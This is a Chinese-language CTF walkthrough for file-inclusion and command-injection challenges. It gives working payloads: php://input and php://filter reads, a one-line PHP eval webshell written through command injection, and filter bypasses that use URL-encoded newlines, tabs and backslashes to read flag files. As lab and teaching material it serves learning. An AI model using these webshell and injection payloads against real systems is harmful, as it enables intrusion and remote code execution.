目录
文件包含
打开题目发现代码中有shell.txt直接点击shell打开在post发现是没用的,于是换个方式在?file=shell.txt
进行post
php://input
php:// 输入输出流
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
php://input 伪协议
该伪协议可以将post的数据交给服务器当成文件接收
---------------------------------------------------------
<?php system(“ls /”)?>
远程包含
读取源代码
php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
-----------------------------------------
?file=php://filter/resource=/flag
命令注入
命令注入攻击 ,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。
在命令注入的漏洞中,最为常见的是PHP的命令注入.
Commad Inject漏洞产生原因及如何注入:
在web程序中,因为业务功能需求,需要通过web前端传递参数到后台服务器上执行(特别是一些网络设备的web管理界面),但由于开发人员没有对输入进行严格的过滤,导致攻击着可以构造一些额外的“带有非法目的”的命令,欺骗后台服务器执行,造成破坏。
127.0.0.1 &echo "<?php @eval(\$_POST['shell']);?>" >> 1.php
注意::POST函数前面有一个\
如果不写这个的话,一句话木马就不管用
构造一句木马,在题目方框中输入,之后再用
127.0.0.1&ls
检查是否已经输入
然后用蚁剑就可以找到flag了
过滤cat
与 命令注入的方法一毛一样
过滤空格
先在题目空格中输入
127.0.0.1 &echo "<?php @eval(\$_POST['shell']);?>" >> 1.php
在输入
127.0.0.1&ls
方向flag文件
在输入
127.0.0.1&cat<flag_32454182944758.php
打开原代码就可以发现flag
过滤目录分隔符
首先输入
127.0.0.1&ls
在输入
127.0.0.1;cd flag_is_here;ls
在输入
127.0.0.1;cd flag_is_here;cat flag_16617156904804.php
查看源代码就OK啦
过滤运算符
先输入
127.0.0.1&ls
在输入
127.0.0.1;cat flag_515549425495.php
查看原代码
综合过滤练习
%0a 代替 换行 , %09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here) %5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了qwq)
url补充表:
发现直接在框中输入无用,所以要该url
首先输入
?ip=127.0.0.1%0als
在输入
?ip=127.0.0.1%0Als%09*is_here
在输入
?ip=127.0.0.1%0Acd%09*_is_here%0Aca\t%09*_25276446429372.php
查看源代码发现flag